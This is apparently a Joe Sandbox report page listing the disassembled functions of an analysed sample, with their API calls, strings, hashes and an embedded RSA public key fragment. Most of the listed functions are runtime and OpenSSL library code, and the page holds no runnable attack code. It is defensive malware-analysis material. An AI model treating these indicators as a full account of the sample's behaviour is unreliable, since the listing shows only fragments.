Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: c51188cba32780b0b06949f136efa14f362796151b7201d48b63138cafad838a
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: c51188cba32780b0b06949f136efa14f362796151b7201d48b63138cafad838a
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

DEK-Info: , xrefs: 00463422
.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491
ENCRYPTED, xrefs: 004633BC
Proc-Type: , xrefs: 0046337C

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Uniqueness

Uniqueness Score: -1.00%

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F
, xrefs: 00457482
+, xrefs: 00457475
0123456789abcdef, xrefs: 004574C4
0123456789ABCDEF, xrefs: 004574D6

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: ff954d4489a2a32b54fea3d22a27fd44705d04e06401a65576fda6a57d4a9bd9
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: ff954d4489a2a32b54fea3d22a27fd44705d04e06401a65576fda6a57d4a9bd9
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Uniqueness

Uniqueness Score: -1.00%

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(?,?,?,?,0041EE2F), ref: 00411B1E
timeGetTime.WINMM(?,?,0041EE2F), ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064,?,?,0041EE2F), ref: 00411B72
timeGetTime.WINMM(?,?,0041EE2F), ref: 00411B78

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00425141 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00425141

Part of subcall function 00427D6C: EncodePointer.KERNEL32(00000000,?,00425146,00423FFE,00507990,00000014), ref: 00427D6F
Part of subcall function 00427D6C: __initp_misc_winsig.LIBCMT ref: 00427D8A
Part of subcall function 00427D6C: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004326B3
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004326C7
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004326DA
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004326ED
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00432700
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00432713
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00432726
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00432739
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0043274C
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0043275F
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00432772
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00432785
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00432798
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 004327AB
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 004327BE
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 004327D1

__mtinitlocks.LIBCMT ref: 00425146
__mtterm.LIBCMT ref: 0042514F

Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B62
Part of subcall function 004251B7: _free.LIBCMT ref: 00428B69
Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(0050AC00,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B8B

__calloc_crt.LIBCMT ref: 00425174
__initptd.LIBCMT ref: 00425196
GetCurrentThreadId.KERNEL32 ref: 0042519D

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction ID: 366d1241f395ce705af539ece55ec53f654f371a685379b5f067519d47a60e56
Opcode Fuzzy Hash: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction Fuzzy Hash: 75F0CD32B4AB712DE2343AB67D03B6B2680AF00738BA1061FF064C42D1EF388401455C

Uniqueness

Uniqueness Score: -1.00%

Function 004253AE Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042594A

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(00000000,?,004250D7,0000000D), ref: 00428B22

_free.LIBCMT ref: 00425970

Part of subcall function 00420BED: RtlFreeHeap.NTDLL(00000000,00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C13

__lock.LIBCMT ref: 00425989
___removelocaleref.LIBCMT ref: 00425998
___freetlocinfo.LIBCMT ref: 004259B1
_free.LIBCMT ref: 004259C4

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 626533743-0
Opcode ID: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction ID: 81c7b0a8007453265eca5a285afc690957d7e654b57493ebbede42104a270bc8
Opcode Fuzzy Hash: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction Fuzzy Hash: E801A1B1702B20E6DB34AB69F446B1E76A0AF10739FE0424FE0645A1D5CFBD99C0CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

reason(%lu), xrefs: 00450758
error:%08lX:%s:%s:%s, xrefs: 00450792
func(%lu), xrefs: 00450734
lib(%lu), xrefs: 0045071C

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 93747ef9676871f384b6e598e8205c6ebfa69a96be3ff907559ef05580cb13b5
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 93747ef9676871f384b6e598e8205c6ebfa69a96be3ff907559ef05580cb13b5
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Uniqueness

Uniqueness Score: -1.00%

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0
g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Uniqueness

Uniqueness Score: -1.00%

Function 004C5D39 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(00000001,00000000,0042520D,00420CE9,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__get_sys_err_msg.LIBCMT ref: 004C5DCD

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 3123740607-798102604
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Uniqueness

Uniqueness Score: -1.00%

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

phrase is too short, needs to be at least %d chars, xrefs: 00463070
.\crypto\pem\pem_lib.c, xrefs: 00463097
Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: 37c0a0619d1de68f8926526a4348b91c256fa9f986865ef3ae2ab210aec5a9ed
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: 37c0a0619d1de68f8926526a4348b91c256fa9f986865ef3ae2ab210aec5a9ed
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Uniqueness

Uniqueness Score: -1.00%

Function 00419E70 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

p2Q, xrefs: 00419EE2
-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsCSsGh2\/w5fURVaxdVIZ\\no+n77h05J9gEeVURvQLux8T, xrefs: 00419EC4

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memset
String ID: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsCSsGh2\/w5fURVaxdVIZ\\no+n77h05J9gEeVURvQLux8T$p2Q
API String ID: 2102423945-142773488
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD

Uniqueness

Uniqueness Score: -1.00%

Function 004416EB Relevance: 7.6, APIs: 5, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__lock_strlen_strnlen
String ID:
API String ID: 2168648987-0
Opcode ID: b31f97ea329719022fda34d1be00e9f165c1a047629ea24459edfa5c04f004d4
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: b31f97ea329719022fda34d1be00e9f165c1a047629ea24459edfa5c04f004d4
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Uniqueness

Uniqueness Score: -1.00%

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007F0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: ac30be484878ed1c1fbcd2781803b0d6d497061a6a5de6108b0294a208768cdb
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: ac30be484878ed1c1fbcd2781803b0d6d497061a6a5de6108b0294a208768cdb
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Uniqueness

Uniqueness Score: -1.00%

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
